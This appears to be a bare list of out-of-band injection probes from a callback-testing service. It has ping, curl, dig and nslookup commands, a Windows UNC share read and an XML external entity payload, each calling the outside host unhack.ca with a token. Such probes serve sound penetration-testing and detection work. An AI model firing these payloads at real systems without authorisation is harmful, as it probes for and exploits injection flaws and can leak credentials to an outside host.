$ ping -c1 -p 0046adf851501fb2fcb39aa2553ae900 unhack.ca
 

$ curl http://unhack.ca/p/46adf851501fb2fcb39aa2553ae9
 

$ dig 46adf851501fb2fcb39aa2553ae9 @unhack.ca
 

$ dig 46adf851501fb2fcb39aa2553ae9.ns.unhack.ca
 

C:\> nslookup 46adf851501fb2fcb39aa2553ae9 unhack.ca
 

C:\> type \\unhack.ca\46adf851501fb2fcb39aa2553ae9\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/46adf851501fb2fcb39aa2553ae9">]>
    <foo>&xxe;</foo>